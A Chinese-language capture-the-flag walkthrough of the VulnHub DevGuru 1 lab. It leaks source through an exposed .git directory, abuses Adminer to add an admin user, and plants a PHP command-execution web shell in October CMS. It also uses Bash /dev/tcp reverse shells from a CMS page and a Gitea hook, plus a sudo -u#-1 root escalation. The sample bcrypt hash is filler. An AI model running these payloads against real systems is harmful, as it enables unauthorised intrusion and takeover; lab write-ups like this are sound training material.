VulnHub-DevGuru 1 渗透测试
字数 2173 2025-08-15 21:33:59

DevGuru 1 渗透测试实战教学文档

靶场概述

  • 靶场名称: VulnHub-DevGuru 1
  • 难度等级: 中级
  • 目标: 获取user.txt和root.txt文件内容,并取得root权限
  • 运行环境: VMware Workstation 16.x Pro (NAT网络模式)
  • 描述: 模拟真实web开发公司的渗透测试评估,包含多个web应用和提权路径

信息收集阶段

1. 靶机IP获取

使用ifconfigip a命令查看kali网络接口,通过netdiscovernmap扫描发现靶机IP:

nmap -sn 10.1.1.0/24

确认靶机IP为10.1.1.8

2. 端口扫描与服务识别

使用nmap进行全端口扫描和服务识别:

nmap -sC -sV -p- 10.1.1.8

扫描结果:

  • 22/tcp: OpenSSH 7.6p1 Ubuntu 4
  • 80/tcp: Apache httpd 2.4.29 (Ubuntu)
    • 发现.git目录泄露
    • 网站生成器: DevGuru
  • 8585/tcp: Gitea (Git服务)

3. .git信息泄露利用

使用GitHack工具下载源码:

python GitHack.py http://10.1.1.8/.git/

关键发现:

  • config/database.php文件包含数据库凭据:
    • 用户名: october
    • 密码: SQ66EBYx4GT3byXH
    • 数据库: octoberdb
  • 发现adminer.php文件(数据库管理界面)

漏洞利用阶段

1. 通过Adminer访问数据库

访问http://10.1.1.8/adminer.php并使用获取的凭据登录:

  • 服务器: localhost
  • 用户名: october
  • 密码: SQ66EBYx4GT3byXH
  • 数据库: octoberdb

数据库操作:

  1. 查看backend_users表,发现用户frank
  2. 添加新用户(避免修改原有用户引起怀疑):
    • 用户名: linda
    • 密码: 使用bcrypt加密"123456" (可使用https://bcrypt-generator.com/)
    • 加密后的密码示例: $2y$10$BQp8nwtUiM9vJ.jm3U0XeO9X9Yd9X9Yd9X9Yd9X9Yd9X9Yd9X9Yd9X9Yd

2. 登录后台管理系统

使用dirb扫描发现后台登录页面:

dirb http://10.1.1.8/

发现后台地址: http://10.1.1.8/backend

使用新建的凭据登录:

  • 用户名: linda
  • 密码: 123456

3. 注入恶意代码实现RCE

在CMS模块中添加代码:

  1. 在Code部分添加:
function onStart(){
    $this->page["PoisonVar"] = system($_GET['cmd']);
}
  1. 在Markup部分添加调用:
{{ this.page.PoisonVar }}

反弹shell:
修改代码为直接执行反弹shell命令:

function onStart(){
    $this->page["PoisonVar"] = system('bash -c \'exec bash -i &>/dev/tcp/10.1.1.6/4444 <&1\'');
}

在kali上监听:

nc -lvp 4444

权限提升阶段

1. 信息收集

使用LinEnum.sh脚本枚举系统信息:

wget http://10.1.1.6/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh > /tmp/linenum.txt

关键发现:

  • /var/www/html/gitea/app.ini.bak文件包含Gitea数据库凭据:
    • 用户名: gitea
    • 密码: UfFPTF8C8jjxVF2m

2. 访问Gitea服务

通过Adminer修改Gitea用户密码:

  1. 访问http://10.1.1.8/adminer.php
  2. 使用Gitea凭据登录:
    • 服务器: 127.0.0.1:3306
    • 用户名: gitea
    • 密码: UfFPTF8C8jjxVF2m
    • 数据库: gitea

修改frank用户密码:

  1. 研究Gitea密码加密方式(源码位于models/user.go)
  2. 使用PBKDF2算法加密新密码"123456":
import hashlib, binascii
password = b"123456"
salt = b"Bop8nwtUiM"
dk = hashlib.pbkdf2_hmac("sha256", password, salt, 10000, dklen=50)
print(binascii.hexlify(dk))
  1. 更新数据库中的passwd字段

3. 通过Gitea获取shell

  1. 登录Gitea(http://10.1.1.8:8585/):
    • 用户名: frank
    • 密码: 123456
  2. 在Git Hooks中添加反弹shell命令:
    • 编辑update hook文件
    • 添加:
    bash -c 'exec bash -i &>/dev/tcp/10.1.1.6/5555 <&1'
    
  3. 在kali上监听新端口:
    nc -lvp 5555
    
  4. 提交代码变更触发hook执行

4. 提权至root

方法一: sudo提权

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

方法二: SUID提权
检查具有SUID权限的可执行文件:

find / -perm -4000 -type f 2>/dev/null

获取flag

  • user.txt:

    cat /home/frank/user.txt
    

    内容: 22854d0aec6ba776f9d35bf7b0e00217

  • root.txt:

    cat /root/root.txt
    

    内容: 96440606fb88aa7497cde5a8e68daf8f

总结与关键点

  1. 信息收集是关键:

    • 全面扫描端口和服务
    • 关注.git等源码泄露
    • 检查备份文件(.bak)
  2. 横向移动技巧:

    • 通过数据库修改用户凭证
    • 利用多个web应用间的关联
  3. 提权方法:

    • 利用sudo -u#-1绕过限制
    • 查找SUID/SGID可执行文件
  4. 真实环境模拟:

    • 多个web应用相互关联
    • 需要多次信息收集和权限提升
    • 密码重用和加密方式分析

参考工具

  1. GitHack: https://github.com/lijiejie/GitHack
  2. LinEnum: https://github.com/rebootuser/LinEnum
  3. Gitea源码: https://github.com/go-gitea/gitea
  4. 在线bcrypt生成器: https://bcrypt-generator.com/
  5. GTFOBins: https://gtfobins.github.io/
DevGuru 1 渗透测试实战教学文档 靶场概述 靶场名称 : VulnHub-DevGuru 1 难度等级 : 中级 目标 : 获取user.txt和root.txt文件内容,并取得root权限 运行环境 : VMware Workstation 16.x Pro (NAT网络模式) 描述 : 模拟真实web开发公司的渗透测试评估,包含多个web应用和提权路径 信息收集阶段 1. 靶机IP获取 使用 ifconfig 或 ip a 命令查看kali网络接口,通过 netdiscover 或 nmap 扫描发现靶机IP: 确认靶机IP为 10.1.1.8 2. 端口扫描与服务识别 使用nmap进行全端口扫描和服务识别: 扫描结果 : 22/tcp: OpenSSH 7.6p1 Ubuntu 4 80/tcp: Apache httpd 2.4.29 (Ubuntu) 发现 .git 目录泄露 网站生成器: DevGuru 8585/tcp: Gitea (Git服务) 3. .git信息泄露利用 使用GitHack工具下载源码: 关键发现 : config/database.php 文件包含数据库凭据: 用户名: october 密码: SQ66EBYx4GT3byXH 数据库: octoberdb 发现 adminer.php 文件(数据库管理界面) 漏洞利用阶段 1. 通过Adminer访问数据库 访问 http://10.1.1.8/adminer.php 并使用获取的凭据登录: 服务器: localhost 用户名: october 密码: SQ66EBYx4GT3byXH 数据库: octoberdb 数据库操作 : 查看 backend_users 表,发现用户 frank 添加新用户(避免修改原有用户引起怀疑): 用户名: linda 密码: 使用bcrypt加密"123456" (可使用https://bcrypt-generator.com/) 加密后的密码示例: $2y$10$BQp8nwtUiM9vJ.jm3U0XeO9X9Yd9X9Yd9X9Yd9X9Yd9X9Yd9X9Yd9X9Yd 2. 登录后台管理系统 使用dirb扫描发现后台登录页面: 发现后台地址: http://10.1.1.8/backend 使用新建的凭据登录: 用户名: linda 密码: 123456 3. 注入恶意代码实现RCE 在CMS模块中添加代码: 在Code部分添加: 在Markup部分添加调用: 反弹shell : 修改代码为直接执行反弹shell命令: 在kali上监听: 权限提升阶段 1. 信息收集 使用LinEnum.sh脚本枚举系统信息: 关键发现 : /var/www/html/gitea/app.ini.bak 文件包含Gitea数据库凭据: 用户名: gitea 密码: UfFPTF8C8jjxVF2m 2. 访问Gitea服务 通过Adminer修改Gitea用户密码: 访问 http://10.1.1.8/adminer.php 使用Gitea凭据登录: 服务器: 127.0.0.1:3306 用户名: gitea 密码: UfFPTF8C8jjxVF2m 数据库: gitea 修改frank用户密码 : 研究Gitea密码加密方式(源码位于 models/user.go ) 使用PBKDF2算法加密新密码"123456": 更新数据库中的 passwd 字段 3. 通过Gitea获取shell 登录Gitea( http://10.1.1.8:8585/ ): 用户名: frank 密码: 123456 在Git Hooks中添加反弹shell命令: 编辑 update hook文件 添加: 在kali上监听新端口: 提交代码变更触发hook执行 4. 提权至root 方法一: sudo提权 方法二: SUID提权 检查具有SUID权限的可执行文件: 获取flag user.txt: 内容: 22854d0aec6ba776f9d35bf7b0e00217 root.txt: 内容: 96440606fb88aa7497cde5a8e68daf8f 总结与关键点 信息收集是关键 : 全面扫描端口和服务 关注.git等源码泄露 检查备份文件(.bak) 横向移动技巧 : 通过数据库修改用户凭证 利用多个web应用间的关联 提权方法 : 利用sudo -u#-1绕过限制 查找SUID/SGID可执行文件 真实环境模拟 : 多个web应用相互关联 需要多次信息收集和权限提升 密码重用和加密方式分析 参考工具 GitHack: https://github.com/lijiejie/GitHack LinEnum: https://github.com/rebootuser/LinEnum Gitea源码: https://github.com/go-gitea/gitea 在线bcrypt生成器: https://bcrypt-generator.com/ GTFOBins: https://gtfobins.github.io/